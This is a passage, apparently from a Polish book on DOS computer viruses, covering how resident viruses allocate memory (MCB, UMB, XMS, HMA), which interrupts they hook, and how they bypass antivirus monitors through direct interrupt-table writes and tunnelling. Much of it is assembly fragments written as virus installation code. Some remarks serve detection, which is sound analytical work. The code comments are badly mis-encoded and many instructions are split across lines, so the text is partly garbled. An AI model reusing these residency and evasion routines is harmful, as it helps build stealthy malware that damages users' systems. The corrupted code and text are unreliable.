MOV AH,48h ; funkcja DOS - przydziel pamiŕŠ
INT 21h ; wywo│aj funkcjŕ DOS
JC BLAD ; Jeťli CF=1 to b│╣d, AX=segment pamiŕci
DEC AX ; AX-1=segment z nag│ˇwkiem MCB
(w│aťcicielem
; bloku amiŕci)
MOV DS,AX ; DS = segment MCB
MOV DS:[l],0008h ; zmie˝ MCB na systemowy
Kolejny sposób instalacji w pamięci polega na wykorzystaniu faktu, iż DOS oferuje
programom możliwość zmieniania rozmiaru bloku pamięci przy użyciu (4A/21). Dzięki
temu można powiększyć pewien blok wykorzystywany przez system lub programy
rezydentne i w tak wygospodarowane miejsce skopiować wirusa. Nie trzeba w tym
wypadku dokonywać żadnych ręcznych manipulacji na blokach MCB, gdyż wszystkie
operacje wykona za nas system operacyjny. Należy pamiętać, iż aby DOS mógł
powiększyć blok pamięci, blok ten musi sąsiadować z jakimś nie wykorzystanym przez
żaden program fragmentem pamięci. Znaleziony blok najlepiej zabezpieczyć przed
ewentualnym zwolnieniem, np. przez wpisanie w pole 03-04h wartości 0008h.
Sekwencja realizująca to zadanie wygląda następująco:
; Powiŕkszenie jednego z blokˇw ju┐ u┐ytych
MOV AH,52H ; funkcja DOS - weč adres do listy list
(LL)
INT 21H ; wywo│aj funkcjŕ DOS
MOV DX,ES:[BX-2] ; AX==adres segmentowy pierwszego MCB
NAST╩PNY:
mov es,dx ; DS wskazuje na sprawdzany blok mcb
mov cl, byte PTR ES:[O] ; zachowaj znacznik nag│ˇwka MCB
MOV BX,ES:[3] ; pobierz rozmiar bloku
INC DX ; DOS wymaga adresu o l wiŕkszego od MCB
MOV ES,DX ; ES wskazuje na blok pamiŕci
ADD DX,BX ; dodaj d│ugoťŠ bloku zarz╣dzanego przez
MCB
ADD bx, rozmiar ; dodaj rozmiar wirusa (w paragrafach
16-bajtowych)
MOV AH,4Ah ; sprˇbuj zmieniŠ rozmiar bloku
INT 21h ; wywo│aj funkcjŕ DOS
JNC JESTBLOK ; jeťli CFl, uda│o siŕ zmieniŠ blok
CMP CL, Z ; czy ostatni blok ?
JNE NASTEPNY ; sprawdč nastŕpny blok
OSTATNI: ; nie uda│o siŕ powiŕkszyŠ ┐adnego bloku
...... ; cz໩ kodu wirusa, wykonuj╣ca
; siŕ, gdy nie znaleziono bloku
JESTBLOK:
...... ; uda│o siŕ powiŕkszyŠ blok, adres do
niego jest w ES
Sposób obsługiwania pamięci przez DOS jest określany przez tzw. strategię przydziału
pamięci, która standardowo nie używa bloków UMB, stąd powyższe sposoby zadziałają
bez zarzutu dla pamięci poniżej 640kB. Aby zainstalować wirusa w pamięci UMB, trzeba
wymusić jej używanie na równi z pamięcią niską. W tym celu należy przyłączyć łańcuch
bloków MCB pamięci UMB do łańcucha bloków MCB, znajdujących się w pamięci
niskiej, przy użyciu funkcji (5803/21). Całość takiej operacji realizuje się przy użyciu
następującej sekwencji w asemblerze:
; Do│╣czanie pamiŕci UMB do │a˝cucha UMB i zmiana strategii
przydzia│u pamiŕci
MOV AX,5800h ; funkcja - pobierz aktualn╣ strategiŕ
INT 21h ; wywo│aj funkcjŕ DOS
PUSH AX ; zachowaj odczytane strategiŕ
MOV AX,5802h ; weč informacjŕ o do│╣czeniu pamiŕci
UMB
INT 21h ; wywo│aj funkcjŕ DOS
PUSH AX ; zachowaj informacjŕ na stosie
MOV AX,5803h ; funkcja DOS - do│╣cz/od│╣cz bloki UMB
do │a˝cucha MCB MOV BX,1 ; podfunkcja - do│╣cz
bloki
INT 21h ; wywo│aj funkcjŕ DOS
MOV AX,5801h ; funkcja DOS - ustaw now╣ strategiŕ
pamiŕci
MOV BX,82h ; nowa strategia (UMB+ostatni
spe│niaj╣cy warunek)
INT 21h ; wywo│aj funkcjŕ DOS
....... ; operacje na blokach MCB (na ca│ym ich
│a˝cuchu)
POP BX ; weč pierwotn╣ informacjŕ o do│╣czeniu
pamiŕci UMB
XOR BH,BH ; podfunkcja - do│╣cz bloki lub od│╣cz
zale┐nie od BL MOV AX, 5803h ; funkcja DOS -
do│╣cz/od│╣cz bloki UMB do │a˝cucha mcb INT 21H
; wywo│aj funkcjŕ DOS
POP BX ; przywrˇŠ pierwotn╣ strategiŕ
MOV AX,5801h ; funkcja DOS - ustaw now╣ strategiŕ
pamiŕci wg BX
INT 21h ; wywo│aj funkcjŕ DOS
Dołączenie pamięci UMB do łańcucha MCB ma duże znaczenie, gdy poszukujemy
ostatniego bloku w tym łańcuchu. Jeżeli system wykorzystuje pamięć UMB, a ta nie jest
chwilowo podłączona do łańcucha MCB, zmiana ostatniego (w tym wypadku widzianego
jako ostatni) bloku pamięci poniżej 640kB spowoduje odcięcie pamięci UMB, co w
efekcie zmniejszy dostępną dla programów użytkowych pamięć i niechybnie pomoże
wykryć intruza.
Innym sposobem na przydzielenie pamięci UMB wirusowi jest skorzystanie z
mechanizmów zawartych w specyfikacji XMS, która umożliwia obsługę tej pamięci za
pośrednictwem funkcji l0h i 11h. Są one dostępne przez bezpośrednie wywołanie
procedury, której adres uzyskuje się po wywołaniu funkcji (4310/2F). Przydzielenie bloku
UMB za pomocą funkcji XMS ilustruje poniższa sekwencja:
; Wykorzystanie mechanizmˇw XMS do przydzia│u bloku UMB
MOV AX,4300H ; funkcja - sprawdč, czy zainstalowany
mened┐er XMS
INT 2Fh ; wywo│aj przerwanie multipleksowane
CMP AL,80h ; czy zainstalowany mened┐er XMS?
JNE NieMaXMS ; skocz, jeťli nie jest zainstalowany
MOV AX,4310H ; funkcja - weč adres procedury
INT 2Fh ; wywo│aj przerwanie multipleksowane
MOV [PROCSEG],ES ; zachowaj adres procedury mened┐era
XMS
MOV [PROCOFS],BX
MOV AH,10h ; funkcja XMS - przydziel pami੠UMB
MOV DX,rozmiar ; podaj iloťŠ ┐╣danej pamiŕci w
paragrafach
CALL [PROCSEG] ; wywo│aj procedurŕ mened┐era XMS
CMP AX,l ; jeťli nie ma b│ŕdu, to AX-1
JNE BLAD ; skocz, Jeťli AX<>1
; BX = adres przydzielonego bloku
5.4. Instalacja w pamięci HMA
Wykorzystując wewnętrzne funkcje systemu DOS można przydzielić sobie blok w
pamięci HMA (ang. High Memory Area), znajdującej się powyżej l Mb, a możliwej do
zaadresowania w trybie rzeczywistym (np. ES:SI gdzie ES=SI=FFFF wskazuje na adres
10FFEF=lMb+64K-16 bajtów). Pamięć ta jest najczęściej wykorzystywana przez DOS,
aby zmniejszyć ilość pamięci konwencjonalnej, zajętej przez system (to, czy system
wykorzystuje HMA, zależy od obecności polecenia DOS=HIGH w pliku CONFIG.SYS).
Do przydzielania pamięci HMA wykorzystuje się funkcje (4A01/4A02/2F) w postaci
następującej sekwencji:
; Przydzia│ fragmentu pamiŕci HMA
MOV AX,4A01h ; funkcja - sprawdč iloťŠ wolnej HMA
INT 2Fh ; wywo│aj przerwanie multipleksowane BX
= iloťŠ wolnej
; pamiŕci HMA w bajtach,
; ES:DI wskazuje na wolny obszar HMA
CMP BX, ROZMIAR ; czy jest odpowiednia iloťŠ pamiŕci
jb NieMaHMA ; jeťli mniej, to nie przydzielaj
MOV AX, 4A02h ; funkcja - przydziel pami੠HMA
MOV BX, ROZMIAR ; rozmiar ┐╣danej pamiŕci
INT 2Fh ; wywo│aj przerwanie multipleksowane
; BX = iloťŠ przydzielonej pamiŕci HMA w
paragrafach
; ES:DI wskazuje na przydzielony obszar
HMA
NieMaHMA:
Oprócz powyższego sposobu istnieje jeszcze inna możliwość przydziału pamięci HMA
(ale tylko jako jednego bloku o długości 64kB-16 bajtów, o ile nie jest już zajęty). Należy
skorzystać z mechanizmu oferowanego przez program obsługujący specyfikację XMS
(najczęściej HIMEM.SYS), tak jak pokazano to w poniższym przykładzie:
; Przydziel ca│e pami੠HMA programowi
MOV AX,4300h ; funkcja - sprawdč, czy zainstalowany
mened┐er XMS
INT 2Fh ; wywo│aj przerwanie multipleksowane
CMP AL,80h ; czy zainstalowany mened┐er XMS ?
JNE NieMaXMS ; skocz, jeťli nie jest zainstalowany
MOV AX,4310h ; funkcja - weč adres procedury
INT 2Fh ; wywo│aj przerwanie multipleksowane
MOV [PROCSEG],ES ; zachowaj adres procedury mened┐era
XMS
MOV [PROCOFS],BX
MOV AH,l ; funkcja XMS - przydziel pami੠HMA
MOV DX,ROZMIAR ; podaj iloťŠ ┐╣danej pamiŕci w bajtach
CALL [PROCSEG] ; wywo│aj procedurŕ mened┐era XMS
CMP AX, l ; jeťli nie ma b│ŕdu, to AX=1
JNE BLAD ; skocz, jeťli AX1
5.5. Nietypowe metody instalacji
5.5.1. Pamięć ekranu
Korzystając z tego, iż tryby pracy ekranu nie wykorzystują najczęściej całej
przeznaczonej dla danego trybu przestrzeni adresowej, można użyć części pamięci
ekranu, aby skopiować tam wirusa. Wykorzystuje się w tym celu najczęściej adresy w
segmencie 0B000 lub 0B800 (zależnie od karty graficznej), pod którymi ulokowane są
dane dla trybów tekstowych ekranu.
5.5.2. Bufory dyskowe DOS
Inną, dość nietypową metodę na instalację w systemie znalazł i wykorzystał twórca
wirusa USSR.516. Wirus ten znajduje i alokuje sobie miejsce w jednym z buforów
stosowanych przez DOS przy operacjach dyskowych. Dzięki temu, iż rezyduje w
obszarach roboczych systemu, jest uznawany za jego część oraz, co istotne, nie
zmniejsza długości pamięci dostępnej dla programów użytkownika.
Przejmowanie przerwań jest najczęściej stosowaną przez wirusy rezy-dentne metodą
kontrolowania działania systemu. Jak wspomniano w poprzednim rozdziale, procesory
80x86 mogą obsługiwać do 256 przerwań, którymi zajmują się osobne procedury
obsługi. Adresy tych procedur zawarte są w tablicy przerwań, która w trybie
rzeczywistym zajmuje 1024 bajty pamięci i jest ulokowana w obszarze od adresu
0000:0000 do 0000:0400. Tablica ta zawiera 256 rekordów (każdy o długości 4 bajtów)
w postaci ofset:segment. Adres procedury obsługi przerwania o numerze 0h zajmuje
więc komórki 0000:0000 -0000:0003, do przerwania 1h komórki 0004:0007 itd. aż do
przerwania 0FFh, zajmującego komórki 0000:03FC - 0000:03FF.
ROZDZIAŁ 6
6.1. Najczęściej przejmowane i wykorzystywane przerwania
Wirusy najczęściej wykorzystują i/lub przejmują następujące przerwania:
> 01h - Przerwanie trybu krokowego procesora, wywoływane wewnętrznie, gdy w
rejestrze znaczników FLAGS jest ustawiony bit TF. Przerwanie Olh jest używane przez
wirusy do poszukiwania w łańcuchu procedur obsługi przerwania jego ostatniego
elementu, będącego przeważnie częścią DOS-a lub BIOS-a. W czasie wykonywania
wyżej wymienionej operacji możliwe jest także przejęcie obsługi przerwania poprzez
włączenie się w istniejący łańcuch obsługi przerwania, dzięki czemu nie trzeba
modyfikować tablicy przerwań. Kontrola procedury obsługi tego przerwania pozwala
wykryć uruchomiony debugger.
> 03h - Pułapka programowa (ang. breakpoint}, ze względu na 1-bajtową instrukcję (kod
0CCh) stosowana przez debuggery;
powyższa właściwość powoduje, iż instrukcję tę stosują bardzo krótkie wirusy do
wywoływania pierwotnej procedury obsługi przejętego przez nie przerwania. Podobnie
jak w przypadku przerwania numer 0lh, kontrolując INT 03h można wykryć włączony
debugger.
> 08h - Przerwanie sprzętowe IRQ 0 - standardowo zgłaszane 18 razy na sekundę
przez układ zegara 8253/8254 (częstotliwość generowania tego przerwania można
zmienić programowo). Wewnątrz procedury jego obsługi znajduje się rozkaz wywołania
przerwania 1Ch. Najczęściej używane jest ono do realizacji efektów specjalnych,
rzadziej do autoweryfikacji wirusa.
> 09h - Przerwanie sprzętowe IRQ l, wywoływane po naciśnięciu lub puszczeniu
klawisza na klawiaturze. Odczytany z portu 60h klawisz jest dekodowany przez funkcję
(4F/15), a następnie umieszczany w buforze klawiatury, skąd dostępny jest później dla
funkcji przerwania 16h. Podobnie Jak IRQ O, przerwanie 09h używane jest zwykle do
efektów specjalnych i czasem do autoweryfikacji (na przykład kod wirusa jest
sprawdzany przy każdym naciśnięciu lub puszczeniu klawisza).
> 10h - Przerwanie programowe BIOS obsługujące funkcje ekranu;
używane do efektów specjalnych lub w celu informowania innych kopii wirusa o
obecności w pamięci.
> 12h - Przerwanie programowe BIOS zwracające po wywołaniu wielkość pamięci
operacyjnej podaną w kilobajtach. Zwracana wartość jest odczytywana ze zmiennej
systemowej BIOS, znajdującej się pod adresem 0000:0413. Przerwanie to wykorzystują
głównie wirusy tablicy partycji i BOOT-sektorów, gdy zmniejszają ilość pamięci
dostępnej dla systemu DOS. Aby tego dokonać, nie muszą jednak przejmować
przerwania, a tylko zmodyfikować wyżej wymienioną zmienną BIOS. Czasem
przerwanie 12h przejmowane jest w celu informowania innych kopii wirusa o obecności
w systemie.
> 13h - Przerwanie programowe BIOS odpowiedzialne za obsługę dysków na poziomie
sektorów. Obsługując dyskietki wywołuje przerwanie 40h. Jest ono używane najczęściej
podczas infekcji
przez wirusy atakujące Główny Rekord Ładujący (MBR), BOOT-sektory i JAP. Jego
przejęcie umożliwia zastosowanie techniki stealth dla sektorów, a także informowanie
innych kopii wirusa o obecności w systemie.
> 14h - Przerwanie programowe BIOS odpowiedzialne za obsługę łączy szeregowych.
Przechwytywane (choć rzadko) dla efektów specjalnych, polegających na
przekłamywaniu odczytów7 i zapisów złącza.
> 15h - Przerwanie programowe BIOS odpowiedzialne za dodatkowe funkcje
systemowe. Może być przejmowane dla efektów specjalnych, polegających na zmianie
obsługi funkcji 4Fh. Powyższa funkcja jest wywoływana przez przerwanie sprzętowe
IRQ l (09h) i odpowiada za dekodowanie klawiszy do postaci widzianej później przez
przerwanie programowe int 16h. Godna uwagi jest także funkcja (9000/15), wywoływana
przez procedurę obsługi przerwania sprzętowego IRQ 14 (76h), której przejęcie
umożliwia zastosowanie techniki hardware-level stealth.
> 16h - Przerwanie programowe BIOS odpowiedzialne za obsługę klawiatury.
Przejmowane najczęściej dla efektów specjalnych lub w celu informowania innych kopii
wirusa o obecności w pamięci.
> 17h - Przerwanie programowe BIOS obsługujące drukarki. Przejmowane (choć
rzadko) dla efektów specjalnych, polegających np. na fałszowaniu drukowanych
znaków.
> 1Ch - Przerwanie wywoływane przez przerwanie sprzętowe IRQ 0 (08h), najczęściej
przejmowane do celów efektów specjalnych (choć w tym wypadku lepiej przejąć obsługę
przerwania IRQ 0).
> 21h - Przerwanie programowe DOS odpowiedzialne m.in. za obsługę dysków
logicznych na poziomie plików, a także pamięci operacyjnej, czyli newralgicznych części
systemu, stąd też jest ono najczęściej przejmowanym przez wirusy przerwaniem.
Umożliwia infekcję plików przy ich otwieraniu, zamykaniu, czytaniu, zmianie nazwy,
uruchamianiu itd. oraz pozwala na ukrywanie się w systemie. Ze względu na to, iż jest
potrzebne wirusom do mnożenia się, nie wykorzystywane przez system numery funkcji
często służą innym kopiom wirusa do sprawdzania jego
obecności w systemie (nie musi on już przejmować innego przerwania, gdyż wyżej
wymieniona operacja wykonywana jest niejako przy okazji).
> 24h - Przerwanie programowe DOS obsługujące błędy krytyczne systemu. W
wypadku wystąpienia błędu wywołuje ono standardowo tzw. dialog ARIF (skrót od ang.
Abort Retry Ignore Fail), pozwalający użytkownikowi zadecydować, jaką podjąć
operację. Przerwanie to wirusy przejmują na czas infekcji, aby w razie wystąpienia
jakiegoś błędu wirus mógł sam zadecydować, jaką akcję chce podjąć. Nowa obsługa
przerwania najczęściej zawiera dwie instrukcje nakazujące systemowi DOS
sygnalizować błąd programowi wywołującemu (czyli wirusowi). Wyglądają one
następująco:
Typowa procedura obs│ugi przerwania int 24h u┐ywana podczas
infekcji
MOV AL,3 ; sygnalizuj b│╣d programowi (czyli
wirusowi)
IRET ; powrˇt 2 obs│ugi przerwania
> 25h - Przerwanie programowe DOS odpowiedzialne za odczyt sektorów z dysków
logicznych, czasem używane do ukrywania się w systemie, ale głównie do łatwego
odczytywania BOOT-se-ktorów.
> 26h - Przerwanie programowe DOS odpowiedzialne za zapis sektorów na dyskach
logicznych. Najczęściej używane jest do infekcji BOOT-sektorów. Zwykle wykorzystuj ą
je konie trojańskie do destrukcji.
> 27h - Przerwanie programowe DOS. Umożliwia zakończenie programu z
pozostawieniem kodu w pamięci. Używają go niektóre, zwłaszcza stare, programy TSR,
nowsze korzystają z funkcji (31/21). Wykorzystując działanie tego przerwania lub funkcji
(31/21) można napisać prostego wirusa rezydentnego.
> 28h - Przerwanie programowe DOS pozwalające na wykonywanie pewnych operacji w
tle, co jest wykorzystywane m. in. przez program PRINT. Może być użyteczne do
infekowania plików, gdy DOS nie jest zajęty żadnym zadaniem, tak jak robi to np. wirus
DOS-IDLE.
> 2Fh - Przerwanie multipleksowane systemu. Ze względu na różnorodność
wykonywanych funkcji umożliwia m. in. znajdowanie oryginalnej procedury przerwania
13h (13h/2F), informowanie innych kopii wirusa o obecności w systemie oraz infekcję
plików przy ich zamykaniu. To ostatnie możliwe jest dzięki zastosowaniu funkcji
(1216/1220/2F), operujących na systemowych tablicach SFT (ang. System File Table),
w których zawarte są wszystkie parametry wskazywanego przez uchwyt pliku.
> 30h/31h - W tablicy przerwań, w miejscu, gdzie powinny być adresy obsługi tych
przerwań znajduje się rozkaz dalekiego skoku do DOS w postaci 0EA 00 00 SS SS,
gdzie OO OO to ofset, a SS SS to segment (po starcie systemu jest to segment kodu
systemu DOS, ale może być podmieniony przez program antywirusowy). Adres
wskazywany przez rozkaz skoku może być wykorzystywany do wywoływania funkcji
DOS według przestarzałej konwencji CP/M, a także do zlokalizowania w segmencie
kodu DOS adresu obsługi przerwania 21h, co umożliwia bezpieczne, omijające
większość monitorów antywirusowych, wywoływanie funkcji DOS (metodę tę stosuje
m.in. wirus DIR-2).
> 40h - Przerwanie programowe BIOS, które obsługuje dyski elastyczne. W większości
BIOS-ów adres tego przerwania jest oryginalnym adresem przerwania 13h podczas
inicjacji systemu. Podczas startu systemu BIOS przekierowywuje przerwanie 13h na
40h, o ile wykryje dysk twardy. Rzadko przejmowane; umożliwia dostęp do dyskietek z
pominięciem przerwania 13h.
> 76h - Przerwanie sprzętowe IRQ 14, generowane przez sterownik dysku twardego
przy wszelkich operacjach dyskowych. Obsługa przerwania polega na wykonaniu
odczytu z portu 1F7h (rejestr stanu IDE) i wywołaniu funkcji (9000/15). Przejęcie jego
lub funkcji (9000/15) umożliwia zastosowanie techniki hardware-level stealth do
ukrywania się w systemie.
Jak widać, jest to znakomita większość wszystkich wykorzystywanych przez programy
przerwań. Czasem, w celu zminimalizowania rozmiarów, wirus przejmuje dodatkowo
jakieś nie używane przez system przerwanie (najczęściej powyżej numeru 60h), aby
przy jego pomocy wywoływać pierwotny program obsługi jakiegoś przejętego przez
siebie przerwania. Korzysta z tego, że maszynowy rozkaz wy-
wołania przerwania (INT ??) zawiera tylko 2 bajty (o kodach OCDh/??, gdzie ?? to
numer przerwania), gdy tymczasem rozkaz wywołania pierwotnego programu obsługi za
pomocą rozkazu wywołania procedury zajmowałby od 3 (wywołanie pośredniej, bliskiej
procedury) do 6 bajtów (wywołanie dalekiej, bezpośredniej procedury). Przejęcie
jakiegoś przerwania programowego może być także wykorzystywane do sprawdzania,
czy wirus został już wcześniej zainstalowany w pamięci, co pozwala mu uniknąć
powtórnej, niepotrzebnej instalacji. Sekwencja wykrywająca, czy wirus jest już
zainstalowany, ma najczęściej postać:
MOV AX.HASúO ; najczŕťciej w AX podaje siŕ jak╣ť nie
typow╣ funkcjŕ
INT xx ; xx - numer przerwania (najczŕťciej
21h)
CMP REJ,ODPOWIEDĆ ; czy wirus ju┐ zainstalowany (rej -
najczŕťciej AX)
JE Ju┐Zainstalowany ; skok, gdy zainstalowany wirus zwrˇci│
odpowiedč
........... ; zainstaluj siŕ
Ju┐Zainstalowany: ; powrˇŠ do nosiciela
Wiedza o najczęściej przejmowanych przerwaniach pozwala często na ręczne przejście
przez łańcuch obsługi przerwania przy użyciu de-buggera i sprawdzenie po drodze, czy
nie ma gdzieś kodu budzącego podejrzenia, prawdopodobnie należącego do wirusa.
Przy takim sprawdzaniu należy pamiętać o kilku niebezpieczeństwach związanych z
używaniem debuggera w systemie kontrolowanym przez wirusa. Wirus może
kontrolować funkcję (4B01/21), służącą debugge-rom do ładowania programów. Jeżeli
jest ona wywoływana, wirus może się deinstalować z pamięci lub podjąć jakieś inne
działanie, maskujące lub destrukcyjne. Podobne niebezpieczeństwo grozi ciekawskiemu
użytkownikowi ze strony niektórych, najczęściej destrukcyjnych wirusów, kontrolujących
stan przerwania INT 01h i INT 03h, a te, jak wiadomo, używane są najczęściej przez
programy uruchomieniowe. Zwykle po wykryciu, iż adres procedury obsługi któregoś z
tych przerwań nie wskazuje na rozkaz IRET (czyli na pustą procedurę obsługi
przerwania), wirus bądź blokuje komputer, bądź brutalnie niszczy dane na dysku
twardym. Jeszcze inne niebezpieczeństwo
może grozić użytkownikowi ze strony wirusów, które potrafią sprawdzać poprawność
swego kodu. Procedura autoweryfikacji może być wywoływana przez każde z
niewinnych przerwań programowych, używanych powszechnie w oprogramowaniu (np.:
10h, 16h) lub też może być podczepiona pod któreś z przerwań sprzętowych. W
przypadku wykrycia jakichś zmian (np, zły wynik obliczanej na bieżąco sumy
korekcyjnej) wirus może natychmiast podjąć niemile dla użytkownika działanie
odwetowe.
Na koniec warto jeszcze wspomnieć, iż zamiast przerwań niektóre wirusy rezydentne
przejmują obsługę sterowników urządzeń blokowych, zajmujących się operacjami na
urządzeniach masowych, takich jak dysk twardy czy dyskietka, w sposób analogiczny do
programów umieszczanych w plikach SYS. Pozwala im to monitorować odwołania do
dysków logicznych, zainstalowanych w systemie na poziomie pośrednim między
systemem DOS i BIOS (jest to potrzebne np. przy infekcji polegającej na podmianie
pierwszej JAP pliku). Tak przejęte odwołanie do systemu będzie dość trudne do
wykrycia poprzez ręczne analizowanie kodu jakiegoś przerwania krok po kroku.
6.2. Wykorzystanie funkcji DOS
Najprościej przejąć obsługę przerwania używając dwóch przeznaczonych do tego celu
funkcji DOS, tzn. (25/35/21) za pomocą poniższej sekwencji w asemblerze:
; Przejmowanie przerwa˝ za pomoce DOS-a
MOV AL, NUMER ; podaj w AL numer przerwania
MOV AH, 35h ; w AH numer funkcji, weč adres starej
procedury
; obs│ugi przerwania
INT 21h ; wywo│aj funkcjŕ DOS po wywo│aniu
funkcji
MOV [StarySEG],ES ; w ES:BX pobrany adres poprzedniej
procedury
MOV [StaryOFS],BX ; obs│ugi, ktˇry najczŕťciej
zapamiŕtuje siŕ
MOV AH, 25h ; w AH numer funkcji, ustaw now╣
procedurŕ obs│ugi
; przerwania
MOV AL,NUMER ; w AL numer przerwania
MOV DS, SEG Nowa ; DS:DX zawiera adres do nowej
procedury
MOV DX, OFFSET Nowa ; obs│ugi przerwania
INT 21h ; wywo│aj funkcjŕ DOS
Powyższy sposób przejmowania przerwań, zalecany przez twórców systemu DOS, ze
względu na możliwość monitorowania funkcji (25/35/21) przez program antywirusowy,
stosują najczęściej prymitywne wirusy. Bardziej wyrafinowane, używają metod trochę
innych, omówionych poniżej.
6.3. Bezpośrednie zmiany w tablicy wektorów przerwań
Bezpieczniejszym (ze względu na programy antywirusowe) sposobem na przejęcie
przerwania jest bezpośrednia manipulacja w tablicy wektorów przerwań, przy użyciu
poniższej sekwencji w asemblerze, wykonującej w przybliżeniu to samo, co sekwencja z
poprzedniego punktu:
: Przejmowanie przerwa˝ bezpoťrednio w tablicy przerwa˝
MOV BL, NUMER ; w BL numer zmienianego przerwania
XOR BH,BH ; BX=BL
SHL BX,l ; pomnˇ┐ je przez 4 (2 razy przesu˝
w lewo)
SHL BX,l ; jeszcze raz przesu˝ w lewo
XOR AX,AX ; zeruj rejestr AX
MOV DS,AX ; i z jego pomoc╣ zeruj rejestr
segmentu DS
; DS:BX wskazuje na pozycjŕ w tablicy
przerwa˝,
; gdzie zapisany jest adres obs│ugi
przerwania
LDS DX,DS:[BX] ; pobierz segment i offset
przerwania (do
; zapamiŕtania)
MOV [StarySEG],DS ; zachowaj segment
MOV [StaryOFS],DX ; zachowaj offset
MOV DS,AX ; ponownie DS=0
CLI ; bezpiecznie zmieniaŠ adres
obs│ugi przerwania
; przy wy│╣czonych przerwaniach
MOV DS:[BXJ,OFFSET NOWA ; bezpoťrednie wartoťci wskazujŕ
; na adres nowej
MOV DS:[BX+2], SEG NOWE ; procedury obs│ugi przerwania
STI ; teraz mo┐na ju┐ w│╣czyŠ
przerwania
Oczywiście, w powyższej sekwencji można pominąć rejestr BX i podać offset w postaci
absolutnej (np, jako 21h*4), jednak użycie rejestru umożliwia przejmowanie więcej niż
jednego przerwania za pomocą tej samej procedury (należy zmieniać tylko wartość BL).
6.4. Włączanie się do istniejącego łańcucha obsługi przerwania i znajdowanie
czystych wejść do systemu (ang. tunnelling)
Dowolna modyfikacja w tablicy przerwań jest łatwa do wykrycia przez
najprymitywniejszy nawet program antywirusowy, stąd też twórcy wirusów poszukiwali
innej metody przejmowania przerwań, dzięki której nie trzeba modyfikować tablicy
przerwań. Opracowano szereg metod polegających na włączaniu się do istniejącego
łańcucha procedur obsługi przerwania, zwanych ogólnie tunelingiem.
Zainstalowany rezydentnie w pamięci wirus musi mieć możliwość wywoływania
pierwotnej procedury przejętego przez siebie przerwania (np. podczas infekcji potrzebne
są funkcje systemu obsługujące działania na plikach). Wywoływanie aktualnej (tzn.
wskazywanej przez tablicę przerwań) procedury obsługującej dane przerwanie lub
nawet tej, która została zapamiętana podczas instalacji wirusa w pamięci, grozi szybkim
wykryciem przez monitor antywirusowy Najlepiej, gdy wywoływana przez wirusa
procedura jest ostatnim elementem w łańcuchu procedur obsługi przerwania, czyli jest to
po prostu oryginalna procedura zawarta w BIOS-ie lub DOS-ie.
6.4.1. Korzystanie ze stałych adresów w systemie (przerwania 21h i 2Fh)
Ta metoda tunelingu jest możliwa tylko w wersjach DOS powyżej 5.00. Służy ona do
przechwytywania obsługi przerwania 21h i ewentualnie 2Fh (przy okazji znajdowany jest
oryginalny adres procedury obsługi tego przerwania, ulokowanej w kodzie systemu
DOS). Wykorzystuje ona fakt, iż system DOS posiada w swym pierwszym bloku MCB
(oznaczonym jako systemowy) standardową sekwencję kodu (taką samą dla obu
przerwań 21h i 2Fh), która została przedstawiona poniżej.
Sekwencja kodu występująca w DOS od 5.0 wzwyż
DOS używa HMA
DOS nie używa HMA
Adres
Kod
Znaczenie
Kod
Znaczenie
SEG:OFS
90 90
NOP NOP
EB 03
JMP $+3
SEG:OFS+2 E8 xxxx
CALL [IP+xxxx] E8 xxxx
CALL [IP+xxxx]
SEG:OFS+5
2E FF 2E yyyy
JMP FAR
CS:[yyyy]
2E FF 2E
JMP FAR
CS:[yyyy]
Dla przerwania 21h powyższa sekwencja kodu występuje pod adresem SEG:OFS, gdzie
OFS jest równy 109Eh (w wersji DOS od 5.00 do 6,22) lub 0FB2h w wersjach powyżej
6.22 (np. DOS 7.0, występujący z systemem Windows 95).
W przypadku przerwania 2Fh OFS jest równy: 10C6h (dla DOS 5.00 - 6.22) i 0FDAh
(dla wersji 7.00).
Wartość SEG jest wartością zwracaną przez funkcję 52h w rejestrze ES. Na podstawie
powyższych danych łatwo odczytać adres pierwotnego adresu procedury int 21h,
korzystając z następującej sekwencji:
MOV AH,30H ; funkcja - weč wersjŕ systemu
INT 21h ; wywo│aj funkcjŕ
XCHG AL,AH ; zabieg kosmetyczny - aby pˇčniejsze
; porˇwnanie by│o bardziej przejrzyste
MOV BX,109EH ; offset dla wersji 5.00 - 6.22
CMP AX,0500h ; czy wersja
JB NIEDZIAúA ; jeťli tak, to tunneling nie dzia│a
CMP AX,0622h ; czy wersja wiŕksza od 6.22 ?
JB Wer5_6_22
MOV BX,OFB2h ; nowsze wersje DOS - inny offset
Wer5_6_22:
PUSH BX ; zachowaj offset na stosie
MOV AH,52h ; funkcja - podaj adres do LL
INT 21h ; wywo│aj funkcjŕ
POP BX ; teraz ES:BX wskazuje na sekwencjŕ z
tabeli
CMP WORD PTR ES:[BX],9090h; czy jedna z sekwencji ?
JE JEST ; jest cz໩ sekwencji
CMP WORD PTR ES:[BX],03EBh ; czy druga z sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
JEST:
CMP BYTE PTR ES:[BX+2],OE8h; czy druga cz໩ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
CMP WORD PTR ES:[BX+5],0FF2Eh ; czy trzecia cz໩ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
CMP BYTE PTR ES:[BX+7],02Eh ; czy czwarta cz໩ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tunelling nie
dzia│a
; znaleziona pe│na sekwencja
MOV BX,WORD PTR ES:[BX+8]
LES BX,DWORD PTR ES:[BX] ; ES:BX wskazuje na oryginalny
adres int 21h
NIEDZIALA:
Dla przerwania 2Fh sekwencja będzia wyglądała bardzo podobnie, z jedyną zmianą w
programie wartości 0FS z 109Eh na 10C6h i 0FB2h na 0FDAh.
6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)
Do znalezienia oryginalnych wejść do procedur obsługi przerwań można wykorzystać
tryb krokowy procesora. Po zainstalowaniu odpowiedniego monitora pod przerwaniem
krokowym wykonuje się jakąś testową funkcję, której wynik jest już wcześniej znany (np.
przez uprzednie wywołanie tej funkcji bez monitora przerwania krokowego). Na bazie
tego możemy stwierdzić (będąc w procedurze obsługi przerwania krokowego), czy
znajdujemy się w poszukiwanym, oryginalnym kodzie przerwania, poprzez testowanie
zawartości odpowiedniego rejestru lub ich grupy.
Dla przerwania int 21h wygodnie śledzić np. funkcję 62h (weź aktualny adres PSP) lub
funkcję 30h (weź numer wersji DOS), dla przerwania int 13h taką funkcją może być 08h
(weź informację o parametrach dysku).
6.4.3. Tuneling rekursywny (ang. recursive tunneling)
Ze względu na możliwość blokowania trybu krokowego procesora do znalezienia
